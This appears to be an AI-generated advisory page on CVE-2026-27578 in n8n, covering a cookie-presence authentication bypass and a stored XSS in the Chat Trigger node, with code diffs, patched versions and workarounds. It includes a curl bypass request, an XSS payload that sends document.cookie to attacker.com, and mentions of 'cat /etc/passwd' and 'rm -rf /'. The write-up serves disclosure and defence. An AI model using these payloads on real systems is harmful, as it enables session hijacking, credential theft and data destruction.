CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27578

n8n: When 'Has Cookie' Equals 'Is Authenticated' (and a Side of XSS)

Alon Barad
Alon Barad
Software Engineer

Feb 26, 2026·6 min read·42 visits

Executive Summary (TL;DR)

The n8n automation platform suffered from a critical logic flaw where checking for the *existence* of an auth cookie was deemed sufficient proof of identity. This allowed unauthenticated attackers to trigger protected workflows. Additionally, a Stored XSS vulnerability in the Chat Trigger node allowed low-privilege users to escalate privileges by injecting scripts into MIME type configurations.

A dual-threat vulnerability in the n8n workflow automation platform combines a trivial authentication bypass with a Stored Cross-Site Scripting (XSS) vector. The authentication mechanism in specific trigger nodes failed to validate session tokens, checking only for their presence. Simultaneously, the Chat Trigger node allowed authenticated users to inject malicious JavaScript via the `allowedFilesMimeTypes` parameter.

The Hook: RCE-as-a-Service

If you are a red teamer, you love n8n. It's essentially "Remote Code Execution as a Service" wrapped in a nice UI. Companies use it to glue together their most sensitive stacks—Slack, AWS, SQL databases, and CRM systems. It holds the keys to the kingdom. Gaining administrative access to an n8n instance is rarely just about the instance itself; it's about the credentials stored within the credential manager and the ability to execute arbitrary Python or JavaScript in the context of the internal network.

CVE-2026-27578 is a beautiful example of why "it works on my machine" logic shouldn't be applied to security. We have two distinct issues here that paint a picture of a development team prioritizing functionality over defensive depth. One allows strangers to ring your doorbell when they shouldn't (Auth Bypass), and the other allows the people inside the house to burn it down (Stored XSS).

The Flaw: The 'I Have A Badge' Fallacy

Let's start with the Authentication Bypass, because it is delightfully stupid. In the security world, we usually expect authentication checks to involve cryptographic signatures, session lookups, or at least a string comparison against a database.

In the affected versions of n8n, specifically within the GenericFunctions.ts file used by the Chat Trigger and Webhook nodes, the logic took a shortcut. The application implemented a check for n8nUserAuth—a setting intended to restrict workflow triggering to logged-in n8n users.

The logic was roughly: "Does the user have a cookie named n8n-auth? If yes, let them in."

It did not check if the cookie was valid. It did not check if the cookie was signed. It did not check if the cookie contained a session ID that actually existed. It just checked if the header was present. It’s the digital equivalent of a bouncer letting you into a club because you're holding a wallet—it doesn't matter that the wallet is empty and made of cardboard.

The Code: The Smoking Gun

Let's look at the diff. This is where the developer's optimism meets reality. The vulnerable code in GenericFunctions.ts relied on a simple existence check.

The Vulnerable Logic

// The "Security" Check
const authCookie = getCookie('n8n-auth');
 
// If the cookie is missing AND it's not the setup webhook...
if (!authCookie && webhookName !== 'setup') {
    // ...throw an error. 
    // Implicitly: If authCookie exists, you are safe.
    throw new ChatTriggerAuthorizationError(500, 'User not authenticated!');
}

Do you see the massive logical gap? If authCookie is any truthy value (like the string "1" or "hackme"), the if condition evaluates to false (because of the !), the error is skipped, and execution continues.

The Fix

The patch introduces actual validation. It's not enough to hold the cookie; the cookie must be valid.

// The Fix
const authCookie = getCookie('n8n-auth');
const isCookieValid = validateSession(authCookie); // Pseudo-code for the deeper check added
 
if (!isCookieValid && webhookName !== 'setup') {
    throw new ChatTriggerAuthorizationError(500, 'User not authenticated!');
}

By forcing a validation of the session token against the backend store, the bypass is closed.

The Exploit: Bypassing Auth & Injecting Payloads

Vector 1: The Auth Bypass

Exploiting the authentication bypass is trivial. You don't need Burp Suite; you could do this with curl. If you find an n8n endpoint protected by n8nUserAuth, you simply send a request with a garbage cookie.

curl -X POST https://target-n8n.com/webhook/test-flow \
     -H "Cookie: n8n-auth=LetMeIn"

The server sees the cookie header, ticks the box, and triggers the workflow. If that workflow was designed to perform sensitive internal actions (like restarting a service or querying a database), you've just triggered it without credentials.

Vector 2: Stored XSS in Chat Trigger

The second vulnerability is a Stored XSS in the Chat Trigger node. This requires PR:L (authenticated user with workflow edit rights). The allowedFilesMimeTypes field is intended to restrict file uploads (e.g., image/png). However, this string was injected directly into the HTML of the chat interface without sanitization.

The Attack:

  1. Login as a user with workflow editing permissions.
  2. Create or edit a Chat Trigger node.
  3. In the allowedFilesMimeTypes field, input: image/png"><script>fetch('https://attacker.com?c='+document.cookie)</script>
  4. Save the workflow.

When an administrator (or any other user) opens the chat interface for this workflow, the malicious MIME type closes the previous HTML tag and opens a new script tag. The script executes in their browser, sending their legitimate n8n-auth cookie to your listener. You can then hijack their session and gain full administrative control.

The Impact: Total System Compromise

Why does this matter? n8n is not a blog; it's an orchestration engine.

1. Credential Theft: n8n stores credentials for external services (AWS keys, Stripe secrets, Slack tokens). An admin session takeover via XSS allows an attacker to export these credentials or create workflows that exfiltrate them.

2. Internal Network Access: Triggers bypass allow external actors to fire internal logic. If a workflow takes a query parameter and passes it to an SQL query or a shell command (via the Execute Command node), the Auth Bypass removes the first layer of defense against injection attacks.

3. RCE via Workflow: If an attacker uses the XSS to gain Admin access, they can simply add an "Execute Command" node to a workflow, type cat /etc/passwd or rm -rf /, and hit execute. The XSS essentially upgrades a low-privileged editor to a root-level operator of the host container.

The Mitigation: Patch or Perish

The remediation path is straightforward, but critical.

Upgrade Immediately: Ensure you are running one of the fixed versions:

  • 1.123.22 (for v1 users)
  • 2.9.3
  • 2.10.1

Defense in Depth: Even after patching, review your GenericFunctions.ts equivalent logic if you are maintaining a custom fork. Ensure that existence checks are never used as proxies for validity checks.

Workarounds: If you cannot upgrade immediately, consider putting your entire n8n instance behind a strong reverse proxy (like Nginx with Basic Auth) or a VPN. Do not rely on n8n's built-in n8nUserAuth for critical workflows until the patch is applied. For the XSS, restrict workflow editing permissions to trusted personnel only.

Official Patches

n8nRelease notes for version 1.123.22
n8nRelease notes for version 2.10.1

Fix Analysis (2)

Technical Appendix

CVSS Score
8.5/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N

Affected Systems

n8n Workflow Automation PlatformChat Trigger NodeWebhook NodeForm Trigger Node

Affected Versions Detail

Product
Affected Versions
Fixed Version
n8n
n8n.io
< 1.123.221.123.22
n8n
n8n.io
>= 2.0.0, < 2.9.32.9.3
n8n
n8n.io
>= 2.10.0, < 2.10.12.10.1
AttributeDetail
CVSS v4.08.5 (High)
CWEsCWE-287 (Auth Bypass), CWE-79 (XSS)
VectorNetwork (AV:N)
Attack ComplexityLow (AC:L)
Privileges RequiredNone (Auth Bypass) / Low (XSS)
Patch StatusReleased (2026-02-25)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1552Unsecured Credentials
Credential Access
T1059Command and Scripting Interpreter
Execution
CWE-287
Improper Authentication

Improper Authentication and Improper Neutralization of Input During Web Page Generation.

Known Exploits & Detection

Internal ResearchAuth Bypass via dummy cookie injection.
Internal ResearchStored XSS via MIME types configuration.

Vulnerability Timeline

Vulnerability Disclosed
2026-02-25
Patch Released (v1.123.22, v2.9.3, v2.10.1)
2026-02-25

References & Sources

  • [1]GHSA-2p9h-rqjw-gm92: Stored XSS and Authentication Bypass
  • [2]n8n Security Center

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•3 days ago•CVE-2026-9354
6.9

CVE-2026-9354: Arbitrary Mass Mention Bypass in NousResearch hermes-agent Slack and Mattermost Adapters

A vulnerability in the Slack and Mattermost platform adapters for NousResearch hermes-agent permits an unauthenticated remote attacker to execute arbitrary mass mentions. By leveraging prompt injection, an attacker can bypass output sanitization logic and trigger workspace-wide notification exhaustion.

Alon Barad
Alon Barad
25 views•6 min read
•3 days ago•CVE-2026-9306
6.3

CVE-2026-9306: Unauthenticated Insecure Direct Object Reference (IDOR) in QuantumNous new-api Midjourney Relay

CVE-2026-9306 is a critical unauthenticated Insecure Direct Object Reference (IDOR) vulnerability located in the QuantumNous new-api application, affecting versions up to and including 0.12.1. The flaw is caused by improper middleware ordering combined with a lack of object-level authorization checks. This allows remote, unauthenticated attackers to retrieve sensitive Midjourney images belonging to other users by supplying a valid task identifier.

Amit Schendel
Amit Schendel
12 views•5 min read
•4 days ago•GHSA-GGXF-37HM-9WQF
6.5

GHSA-GGXF-37HM-9WQF: Session Leakage via Unsafe Challenge Path Parsing in instagrapi

The instagrapi library prior to version 2.6.9 contains an improper input validation vulnerability within its challenge handling mechanism. Maliciously crafted server responses can manipulate the client into forwarding session cookies and credentials to an external attacker-controlled domain.

Amit Schendel
Amit Schendel
20 views•6 min read
•4 days ago•GHSA-QQQM-5547-774X
9.1

GHSA-QQQM-5547-774X: Unauthenticated Path Traversal in FileBrowser Quantum PATCH Handler

GHSA-QQQM-5547-774X is a critical path traversal vulnerability in the FileBrowser Quantum application, specifically within the Go backend package. The vulnerability resides in the HTTP handler responsible for processing bulk file modifications via the public API. Unauthenticated attackers can exploit an order-of-operations flaw in the path sanitization logic to bypass intended directory restrictions. This allows adversaries to arbitrarily read, move, and overwrite files on the underlying filesystem by supplying specially crafted HTTP PATCH requests.

Alon Barad
Alon Barad
5 views•6 min read
•4 days ago•CVE-2026-8723
5.3

CVE-2026-8723: Synchronous Denial of Service in qs npm Package via TypeError

The qs query string parsing and serialization library for Node.js is vulnerable to a synchronous Denial of Service (DoS) attack. The vulnerability manifests as a process-terminating TypeError when processing arrays with null or undefined elements under specific configuration parameters.

Amit Schendel
Amit Schendel
35 views•7 min read
•4 days ago•GHSA-7M8F-HGJQ-8GC9
7.5

GHSA-7M8F-HGJQ-8GC9: Pre-Authentication Denial of Service via Insecure Deserialization Order in aiosend

The aiosend library prior to version 3.0.6 contains a pre-authentication Denial of Service (DoS) vulnerability in its webhook handling mechanism. The software processes and deserializes incoming JSON payloads before verifying the cryptographic signature, allowing unauthenticated attackers to exhaust server CPU and memory resources by sending large, complex payloads.

Amit Schendel
Amit Schendel
3 views•6 min read